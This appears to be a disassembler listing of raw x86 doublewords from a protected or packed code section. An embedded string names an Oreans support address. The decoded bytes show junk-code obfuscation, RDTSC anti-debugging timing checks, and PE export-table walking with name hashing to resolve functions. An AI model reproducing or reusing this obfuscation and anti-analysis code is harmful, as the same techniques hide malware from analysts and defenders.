		dd 8D120AC3h, 0B58D62C2h, 620717Eh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0B1C35343h,	0EDD8464Bh, 9E858D25h
		dd 60062048h, 609FE381h, 820F0F21h, 1, 0D0FF61FCh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 21C35242h, 0BA6E5AA9h
		dd 604F4BC8h, 51E8DB81h, 61F91213h, 9E9h, 0EC00CA00h, 9E521DAFh
		dd 85899917h, 6206A90h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0C4C35343h, 0D2AB825Dh, 0F433CD7Ah, 1860FADh
		dd 0F5000000h, 50006A61h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E93CD67Ch, 11h, 678A4273h
		dd 0F5E6BC84h, 440AB6F6h, 0F4F519Eh, 0EA806085h, 8E0F5361h
		dd 0
		dd 858B615Eh, 6206A90h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 52C35545h, 2AED27A8h,	1CCAD85Dh, 9E9C9h
		dd 0D04E0000h, 6B3BF6B0h, 605668ECh, 0BFCEB70Fh, 6A9260C0h
		dd 6AC361h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 6A60C4C3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 7394C352h, 1830F0Ah
		dd 0F8000000h, 14E9h, 0F4CF9200h, 982A6629h, 0E2242229h
		dd 0CB209C7h, 0D13083D8h, 2CBD837Bh, 62072h, 5A850Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 1C79BDC3h, 0CE01CC06h, 0F9F8361Ah, 722C85C7h, 13F0620h
		dd 6A0001h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 62EA22C3h, 604C9D8Eh, 0A6F483B9h,	61BDB743h
		dd 1E9h, 20CDFC00h, 0
		dd 3774C00Bh, 8B0C708Dh, 206A98BDh, 8B906h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 206A949Dh, 34583B06h,	0D38B157Fh
		dd 304D26Bh, 89018BCAh,	206A9085h, 8B04EB06h, 61C5EB00h
		dd 6A90858Bh, 6ACF0620h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 5EDDC357h, 1C31091h
		dd 414031Bh, 6860F60h, 0F000000h, 8Bh, 0BE900h,	0BE390000h
		dd 92D3A9B8h, 2CB6800Bh, 8BF56153h, 83E9C0h, 51530000h
		dd 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h
		dd 0D8033C43h, 503B8166h, 57850F45h, 8B000000h,	5C03785Bh
		dd 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h
		dd 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h
		dd 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah
		dd 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah
		dd 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh, 0Ah, 156357E0h
		dd 4DF05C5Bh, 11E92F10h, 48000000h, 82257AFAh, 0E2B26FA3h
		dd 0CD927595h, 0C4A1D45Bh, 0C681FC5Eh, 6C2Eh, 67B8D78Ah
		dd 812C2D1Ch, 0D2FE7CC0h, 11E9D3h, 56A50000h, 147601A4h
		dd 0FFA17A9h, 5455B386h, 0FFC056F9h, 81665636h,	590F6DE7h
		dd 0FE95Bh, 5E770000h, 0BB4DFD8Bh, 4D118749h, 430729A7h
		dd 35EB81B9h, 520B737Ch, 5FFFBF0Fh, 5EE6C381h, 0BF66237Fh
		dd 0EB8123BFh, 550FF7DCh, 979EAEBAh, 811E8930h,	644A0CEEh
		dd 0CEBF0F37h, 4A08C681h, 0E8833764h, 0A8850F01h, 66FFFFFFh
		dd 0E9FA8Bh, 4,	33000000h, 69206E41h, 7265746Eh, 206C616Eh
		dd 65637865h, 6F697470h, 636F206Eh, 65727563h, 41282064h
		dd 65726464h, 203A7373h, 78257830h, 500D0A29h, 7361656Ch
		dd 63202C65h, 61746E6Fh, 73207463h, 6F707075h, 6F407472h
		dd 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h
		dd 21h,	0E3h dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 12A6h, 618589FCh, 8B061D2Fh, 1D335585h
		dd 7860F06h, 0F000000h,	18Dh, 4439F800h, 850F0424h, 96h
		dd 68E0Fh, 8A600000h, 615A56EAh, 6F5BD83h, 0F00061Dh, 7D84h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0F18C4FD8h, 60F58C13h, 2545B509h, 0C681061Dh
		dd 6CA64C55h, 83858D61h, 6A061D3Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F448C355h
		dd 931DCE0h, 6AE0FFF4h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 2996C357h, 1D159185h
		dd 858BF906h, 61D1365h,	618D8960h, 0E9061D1Bh, 0Fh, 0D60BD8C4h
		dd 5E306AC1h, 1934D9CEh, 61233FDFh, 4244439h, 26850Fh
		dd 8E90000h, 61000000h,	0A01F060h, 0C7C5A555h, 2077EF85h
		dd 106h, 8820F00h, 0F000000h, 287h, 0F8616000h,	56006A60h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0E3CFD71Eh, 0E9A2CD83h, 0Dh,	170C9F9Fh, 8D0F647h, 0F86DD4B7h
		dd 16E9F9C9h, 60000000h, 4E0DB966h, 314DBD89h, 8961061Dh
		dd 1D195195h, 6, 1B800h, 85870000h, 6207951h, 0F675C00Bh
		dd 1B25B5FFh, 858F061Dh, 62077E7h, 0FF6A206Ah, 6995FFh
		dd 0BD83061Dh, 61D17ADh, 6A087400h, 995FF00h, 83061D12h
		dd 1D28DDBDh, 0D740106h, 8068h,	0FFFF6A00h, 1D006995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0ED21F1AAh, 999589B4h, 6A061D13h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 2F64C350h, 0F3AC5D4h, 6084DBC6h, 29499529h, 810F061Dh
		dd 1, 6AC02BF9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 2F01C353h, 598889ABh, 14E94FACh
		dd 92000000h, 0A9D423AFh, 0B357B0D7h, 0AD442F54h, 0CCF1EF81h
		dd 8B714B9Ah, 0E9282454h, 0Dh, 13CEB84Dh, 91E3A543h, 531623h
		dd 298589DFh, 6A061D03h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0C8EFC356h,	0B60F966h
		dd 1D050995h, 0B1858B06h, 61061D08h, 3CBEh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 9509B452h, 61D1705h,	24247403h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0C6C35242h,	57D8C07Ch, 758D970Bh
		dd 2A6D8D29h, 0AD66061Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0C5C35343h, 858938FCh, 61D13F1h, 2F598D89h
		dd 4403061Dh, 5E92424h,	0BC000000h, 610189F2h, 0B800F50h
		dd 60000000h, 6163BF66h, 0C05CFCBAh, 4896123h, 0BD896024h
		dd 61D2C2Dh, 2E598589h,	8B61061Dh, 6A7840h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 852955C3h
		dd 61D2911h, 77EFBD83h,	0F000620h, 0EB85h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0D820FF5h, 60000000h, 13E5B523h, 8166061Dh, 6197A1E9h
		dd 830F90F9h, 0Ch, 68F0Fh, 52500000h, 585A310Fh, 8E950h
		dd 0C14F0000h, 632EDD21h, 0F902622h, 68Eh, 0A9858900h
		dd 8B061D16h, 6A2C2444h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 22F6C357h, 0E830Fh
		dd 8B600000h, 1D295585h, 95858B06h, 61061D00h, 18FDB589h
		dd 5050061Dh, 0F525052h, 89h, 50310F00h, 5A310F52h, 0F585A58h
		dd 52506031h, 585A310Fh, 5A61FE8Bh, 24048958h, 14B99589h
		dd 0DE9061Dh, 3E000000h, 0F566CA3Ah, 144EE076h,	0B2C684A1h
		dd 3CE4858Dh, 0B5890620h, 61D3271h, 9D89D0FFh, 61D1681h
		dd 28244403h, 2BD8589h,	408B061Dh, 53006A18h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0B96E2B94h
		dd 40E866C7h, 8D89F560h, 61D19FDh, 8850F61h, 0F000000h
		dd 283h, 89616000h, 2077EB85h, 85896006h, 61D3301h, 15A58533h
		dd 5861061Dh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	79C35141h, 92CE099Bh, 9D895B38h, 61D1C61h, 8978708Bh
		dd 1D09F59Dh, 1CC68306h, 6998531h, 6A96061Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0D521C356h, 0D88ACDDBh, 21D11621h, 247C81F9h, 24h, 0EF870F10h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0D241C351h, 0BE322908h, 525050F8h
		dd 52505250h, 585A310Fh, 5250310Fh, 585A310Fh, 310F585Ah
		dd 0C820Fh, 7E90000h, 0E0000000h, 0A4A6A2FAh, 585A07D1h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 6E9EC355h, 8E0FB2B6h, 6, 11718529h
		dd 8B60061Dh, 0C88B66D0h, 24448B61h, 25B52928h,	50061D32h
		dd 0FE9h, 0E042A100h, 0E1436F5Ah, 0AF32A042h, 700196C3h
		dd 29240489h, 1D1869B5h, 0E4858D06h, 6A06203Ch,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0DF88C353h, 12969294h, 958B5260h, 61D2555h, 0D8D895Bh
		dd 61061D33h, 8C0FD0FFh, 6, 9C18D89h, 6A96061Dh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0D070C350h, 7DFDFBE2h, 9D29A20Dh, 61D0495h, 24247403h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0CC35242h
		dd 6DC649E8h, 0E73E0FA2h, 49BD8DF5h, 89061D27h,	1D30858Dh
		dd 5D8D8906h, 0AD061D2Ch, 6810Fh, 0B5010000h, 61D0795h
		dd 3518589h, 7C81061Dh,	2424h, 870F1000h, 122h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D6C35545h, 82FB5941h
		dd 8A0F5029h, 0Eh, 61605250h, 8E0F310Fh, 0
		dd 489585Ah, 0EE96024h,	0AA000000h, 0E6297440h,	0E8C9C318h
		dd 3695CDFCh, 448B61D8h, 89602824h, 1D298985h, 0DAE78106h
		dd 6101EAA6h, 3195B531h, 5090061Dh, 50525052h, 5A310F52h
		dd 50310F58h, 5A310F52h, 0F585A58h, 10E931h, 4DA20000h
		dd 0D11C73Ah, 0AFEB768Eh, 0CA63A22h, 585A496Ch,	10E950h
		dd 33150000h, 0D28C1ADCh, 2AC4DCA5h, 0E5087E4Eh, 6A904822h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0A10C352h, 9DEADF9Eh, 858B6070h, 61D3321h
		dd 0E4858D61h, 6A06203Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 4E7CC356h, 0F8826738h
		dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0F95F61C3h, 1C1D9529h, 4403061Dh,	820F2424h
		dd 0Eh,	9E9h, 7B73B300h, 0A1A0A75Eh, 29AB7ED8h,	1D0F71B5h
		dd 0DE906h, 1B930000h, 0D4565545h, 0AC99F1F2h, 81BCC98Fh
		dd 10000FAh, 36820F00h,	6A000008h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 60FBC357h
		dd 60D6B70Fh, 0BAE28166h, 890F16h, 61000000h, 68A0F61h
		dd 1000000h, 1D1AE58Dh,	0ADBD8D06h, 0F061D14h, 0C8Dh, 6870F00h
		dd 0F000000h, 87h, 14820F00h, 0F000000h, 0E89h,	9E900h
		dd 0F39A0000h, 5702DF86h, 0AD444715h, 1BED9501h, 7C81061Dh
		dd 2424h, 870F1000h, 0EFh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 2CC35040h, 0B97A994h,	890BE457h, 1D0BA185h
		dd 52505006h, 850F5250h, 0
		dd 5250310Fh, 585A310Fh, 310F585Ah, 2870Fh, 61600000h
		dd 489585Ah, 0ED958924h, 8B061D18h, 6A282444h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0AA13C353h, 8766D12h, 0EC96A46Dh, 6E950F8h, 0D5000000h
		dd 0CF91B71Bh, 2404897Dh, 1C810Fh, 890F0000h, 16h, 11E9h
		dd 237DC300h, 9095CE2h,	0B94A35BCh, 25A7499Bh, 858D30EDh
		dd 6203CE4h, 0FBB70F60h, 0FCEBE66h, 6830F61h, 29000000h
		dd 1D12B1B5h, 6AD0FF06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0B2F7C352h,	0D847995Ah
		dd 3FC8E34h, 6A242444h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0B43BC356h,	0B9108712h
		dd 1F534381h, 50525050h, 8E952h, 0D91A0000h, 75086E98h
		dd 310F4797h, 14E9h, 17526C00h,	9DC7B63Dh, 0D0DAAA8Bh
		dd 6344252Ch, 8A24CAF0h, 0F585A89h, 68C0F31h, 50000000h
		dd 5A310F52h, 89585A58h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 27A5FFC3h, 0B5296000h
		dd 61D07DDh, 25619D01h,	0AB61061Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 1EC35747h, 5D7D4D37h, 0F60A7C1h
		dd 685h, 21BD8900h, 81061D12h, 0C085C9D6h, 0BD8D613Ah
		dd 61D2BBDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	76C35545h, 78E0F28h, 60000000h,	0B70FDE8Bh, 5E961D2h
		dd 0A2000000h, 9131C54h, 57006AADh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 6BE6BA84h, 1735E329h
		dd 870F60F6h, 7, 0F5E5660h, 8161CFB7h, 28247Ch,	0F100000h
		dd 13E87h, 13B66000h, 0E3D68166h, 6090611Ah, 14E8h, 0C0AE5B00h
		dd 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh, 0F182738Ch, 0CE989h
		dd 77150000h, 4A1EEDF3h, 0BFE176D4h, 6058B143h,	5678CFB8h
		dd 0F38B6626h, 50506161h, 11E952h, 1B1C0000h, 0A522B05Ch
		dd 4D4106Ch, 0B7A1F999h, 0FE5D647h, 0EE931h, 0CC1D0000h
		dd 7C3C9B46h, 0AD605496h, 84E62DA5h, 0F90585Ah,	68Dh, 29B58900h
		dd 8B061D2Dh, 0E92C2444h, 8, 2CA3EA8h, 7CD6BC54h, 11E960h
		dd 0BF3C0000h, 0B422D9F4h, 1F889FFBh, 0EBFE256Eh, 0F8F3C6F7h
		dd 52509061h, 8B616060h, 310F61D0h, 12E95250h, 0C3000000h
		dd 0D54B1EFCh, 0EB2234Dh, 0D632717Fh, 360034DAh, 0F310F9Dh
		dd 86h,	5A585A00h, 8B0F5058h, 11h, 0CE9h, 0C435FE00h, 8539CF2Dh
		dd 0C5B77F24h, 6A903Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 988F15C3h, 0E4858D54h, 6A06203Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 410C351h,	604FFF55h, 61C28B66h, 3F5D0FFh
		dd 0F9282444h, 78B0FABh, 0F000000h, 189h, 0FF5EFC00h, 2077EB8Dh
		dd 0EBBD8306h, 62077h, 0C0330A75h, 8781B58Dh, 0E6FF0620h
		dd 7C81AD56h, 2824h, 0E771000h,	24448B50h, 858D502Ch, 6203CE4h
		dd 4403D0FFh, 8B972824h, 0E7858ADFh, 84062077h,	3A0474C0h
		dd 574C7507h, 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h
		dd 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh
		dd 35660973h, 81665041h, 0FE5449F3h, 33EB75CEh,	4FD333C8h
		dd 0D2F7D575h, 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h
		dd 0FF04C683h, 1D032985h, 0FF5DE906h, 0E95EFFFFh, 0Ch
		dd 0C6D89945h, 90D9E24Eh, 8B091E0Ah, 1F958D89h,	858B061Dh
		dd 61D0329h, 5860F60h, 0BB000000h, 6EC3CA24h, 6D5958Bh
		dd 0D161061Dh, 55006AE0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 403BD501h, 309BD89h, 8503061Dh
		dd 61D2BBDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0DAC35646h, 9531D7E8h, 61D3055h, 0BEh, 6A96FC00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 1F3BC351h, 9BE18FBh, 0E93AAA6Bh, 0Fh, 0C1CAA718h
		dd 0E3548796h, 3A9D84F6h, 666D96B7h, 5E860ADh, 0F4000000h
		dd 8D260B08h, 840Fh, 8B5B0000h,	1D26B18Dh, 0E0C16106h
		dd 56006A02h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0B05BE999h, 10E92Bh, 679D0000h, 0CF8CAD11h
		dd 0F5BC494Eh, 0EC00CA84h, 85031DAFh, 61D2749h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 30C35141h, 89B5299Fh
		dd 0F061D18h, 68Ah, 0ADBD0900h,	96061D01h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 6DC35141h, 0C830Fh
		dd 7E90000h, 23000000h,	0CA21C4A9h, 0FAD3CBBh, 684h, 1D853100h
		dd 81061D27h, 24247Ch, 0F100000h, 12E87h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 4EECB116h, 1D618D01h, 6090061Dh, 0EE9h, 61776300h, 0F903AE1Ch
		dd 0D0B911DBh, 610B0635h, 6E950h, 0F3B60000h, 8F934CE2h
		dd 448BF590h, 6A2824h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0BE3BBBC3h, 4EFAF44Ah, 0F99030Eh
		dd 0C8Dh, 68B0F00h, 89000000h, 1D2BFDB5h, 259D8906h, 90061D05h
		dd 0BE9h, 0F6A95500h, 7059532h,	0ABF2366Fh, 50525050h
		dd 0F616052h, 8F0F31h, 5A000000h, 50310F58h, 10E952h, 6B7D0000h
		dd 302A4E9Eh, 2BB7659Eh, 72508963h, 310FCA06h, 310F5250h
		dd 585A585Ah, 0F590585Ah, 3CE4858Dh, 6A0620h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 9BD2B2C3h
		dd 0F95F8428h, 6AD0FFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0C667ECC3h, 0CE928E3h, 0F6000000h
		dd 0AAE45800h, 9A9FFDBDh, 3C1A89Ch, 6A242444h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 93A1C357h, 244489F8h, 57006A1Ch, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0F73F678h, 0F82h, 0AE900h
		dd 551F0000h, 0D2643A98h, 65F30FADh, 10E9h, 0FBB1DF00h
		dd 9FE42BFAh, 0E4D0C23Bh, 0AA2B60A2h, 2585C67Ah, 61D1Bh
		dd 795185C7h, 620h, 85C70000h, 62077EFh, 0
		dd 1ADD8D89h, 890F061Dh, 0Ch, 68E0Fh, 95090000h, 61D1F9Dh
		dd 0C9858961h, 0C2061D01h, 8C0F0008h, 15h, 10E9h, 45477C00h
		dd 0ACADB1D9h, 0F0ACCC43h, 9072C27Dh, 49858B6Dh, 6A061D27h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0D07EC355h, 606FECC0h, 32E58589h,	8B66061Dh
		dd 894A61DFh, 1D00ED95h, 4D26B06h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0CBC35545h,	1A43B69h, 1D156185h
		dd 0FC20306h, 1687h, 11E900h, 877A0000h, 0E498FF48h, 0A77F94EAh
		dd 4B61AC4Bh, 96CB9996h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 74C35545h, 5793B41Ah,	3585895Ch, 1061D0Fh
		dd 1D2A29B5h, 6AAD06h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0DE6625C3h, 5295417Ah, 24247C81h
		dd 10000000h, 161870Fh,	85310000h, 61D32B9h, 0D820F90h
		dd 60000000h, 310F5250h, 82BE585Ah, 614A5F15h, 0CE86050h
		dd 0E3000000h, 0D834125Bh, 2B7F681Bh, 0E966FC6Bh, 9, 82DD2DD2h
		dd 0EC430C2Bh, 0BA665B60h, 9061FF31h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 10C35040h, 0BF6D652Ch, 31850B60h
		dd 8B061D12h, 1D169985h, 95896106h, 61D22EDh, 0CE9h, 0C54C5C00h
		dd 0C5085EE2h, 0EC52CBD6h, 24448BE1h, 8E0FFC28h, 1Ah, 11E960h
		dd 31B20000h, 0A6991B07h, 0FA897D61h, 25613E81h, 8BB28027h
		dd 509061F3h, 60525052h, 50310F61h, 5A310F52h, 0F585A58h
		dd 6820F31h, 0F000000h,	88h, 50585A00h,	52505250h, 0BE9h
		dd 39F45F00h, 7B08446Ch, 5F3270DDh, 6160310Fh, 310F585Ah
		dd 0F8F0Fh, 0AE90000h, 0BC000000h, 0DD5EF171h, 0FEB2B3B5h
		dd 90585A5Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	0A4C35747h, 59FAE40h, 9C36F1D9h, 919589A4h, 8D061D03h
		dd 203CE485h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0F8DC99C1h, 0E9D0FFFCh, 6, 0D60E2BF4h
		dd 0E9F89B0Eh, 0FFFFFCF7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 4BC35242h, 7E4880DDh,	664C6742h, 0DE9h
		dd 50369D00h, 89B17D99h, 0FC86FE46h, 858DF273h,	6208D22h
		dd 20718D31h, 0E990061Dh, 5, 7DB51F75h,	525050B5h, 68A0Fh
		dd 52500000h, 585A310Fh, 0BE9310Fh, 0CA000000h,	0CF8E44FAh
		dd 0DF98E090h, 585AC924h, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 6BD79AD0h
		dd 4A59BEE8h, 6660F835h, 8800C781h, 2C258589h, 6461061Dh
		dd 35FFh, 810F0000h, 0Ch, 68A0Fh, 860F0000h, 0
		dd 9E9h, 105EFA00h, 0A39068D6h,	48B01F5h, 57006A24h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 89FBEEFFh, 1D14BD85h, 4DBD8906h, 64061D00h, 2589h, 8C0F0000h
		dd 6, 78D8589h,	8501061Dh, 61D31F5h, 8BD9858Dh,	9D090620h
		dd 61D17CDh, 60016089h,	0F1F4B0BFh, 95852954h, 61061D2Eh
		dd 6850Fh, 95890000h, 61D1FB1h,	1AAE9h,	12E86000h, 0A3000000h
		dd 2C2BE260h, 49245FF6h, 0A4CCBB3Ah, 302DB757h,	18D8B5Bh
		dd 58061D2Dh, 2A019D8Bh, 8B61061Dh, 0E8DBh, 815D0000h
		dd 208BD2EDh, 0FF9CBC06h, 0BD830012h, 61D28DDh,	8B187400h
		dd 1D2F4985h, 0C606h, 32ED858Bh, 0C6061Dh, 0FD95FF00h
		dd 60061D00h, 73F3B5FFh, 858D0620h, 62073F7h, 0EF858D50h
		dd 50062075h, 0C2195FFh, 0C483061Dh, 6A610Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 6060B5C3h
		dd 0D7BF0FFCh, 614CB361h, 0EFB58DF9h, 6A062075h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0AFB0C351h, 0EB7B4E51h, 6A45CEF2h, 6860Fh, 0B5290000h
		dd 61D2C01h, 231DBD8Dh,	880F061Dh, 6, 11818D89h, 3E80061Dh
		dd 2F840F00h, 0F000000h, 18Eh, 0BD89F500h, 61D0425h, 88B0FA4h
		dd 0F000000h, 281h, 60616000h, 2C198D0Bh, 0E961061Dh, 0FFFFFFCEh
		dd 9F98501h, 0B8061Dh, 0F8000000h, 2B559D29h, 0FCAA061Dh
		dd 9E9h, 6F941A00h, 24E5921Dh, 7B8825Fh, 31000000h, 1D15EDB5h
		dd 3D85C706h, 1061D21h,	89000000h, 1D1F81B5h, 66576006h
		dd 0F5AFA8Bh, 38Ah, 0D1B70F00h,	898D8D61h, 0F061D4Ch, 182h
		dd 0E1FFF800h, 8C19D31h, 5C8B061Dh, 0E8550C24h,	0
		dd 2CED815Dh, 8B06208Dh, 0B883h, 0F3858900h, 8D062073h
		dd 208BCB85h, 0B8838906h, 5D000000h, 0E9C3C033h, 14h, 0B30F6DB5h
		dd 0EB2E158Ch, 0C5E8B8C7h, 374CC6F6h, 0A472BBBh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7CC35242h, 0FC3A2881h
		dd 18F0Fh, 60F50000h, 0E855006Ah, 3, 5DC35D20h,	4246C89h
		dd 4244481h, 1Ch, 6CC35545h, 0BF739741h, 45D6E7A5h, 902F858Dh
		dd 6A0620h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0EA90F9C3h, 37C9C848h, 66606A0Eh,	89C635B8h
		dd 1D04E58Dh, 0F506106h, 1385h,	0EE900h, 8E60000h, 0F9B3EA7Dh
		dd 873FE3ABh, 997C7577h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0B87DC350h
		dd 9D07D9Eh, 8B666065h,	0CDBD29D3h, 61061D17h, 35FF64h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 6FBC351h, 9C8B2FE1h, 0BD018DEBh
		dd 0B2DA8160h, 613E6839h, 258964h, 89000000h, 1D0991B5h
		dd 0BA858D06h, 0F8062090h, 6A016089h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 2E72C356h
		dd 0F4BC92CAh, 0C60DB904h, 1D1B2585h, 6A4F06h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 6255C9C3h, 4E8657Fh,	2A000000h, 50FEC874h, 6880F52h
		dd 0F000000h, 8Dh, 60310F00h, 26AFB966h, 16604FB9h, 585A614Eh
		dd 66526050h, 5FDB86BEh, 24448B61h, 0A860F04h, 0E9000000h
		dd 5, 780F8C6Dh, 60008B09h, 860FEE8Ah, 16h, 11E9h, 0FBFBD00h
		dd 0B3980475h, 1BD07FA7h, 6CEBBDE0h, 8961FB1Eh,	50042444h
		dd 8E952h, 5AD70000h, 60DDEB4Ch, 310F875Ch, 0EE9h, 48819C00h
		dd 6CD383A9h, 62C8BB46h, 5AA1E834h, 6A5858h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 203C3FC3h
		dd 61CA8A60h, 6830Fh, 9D890000h, 61D2981h, 1805B5FFh, 6A061Dh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 562556C3h, 2054D624h, 2F99589h, 858D061Dh, 62077FFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B7C35343h
		dd 0D5D91D5h, 0FFF5FC82h, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 360899D5h
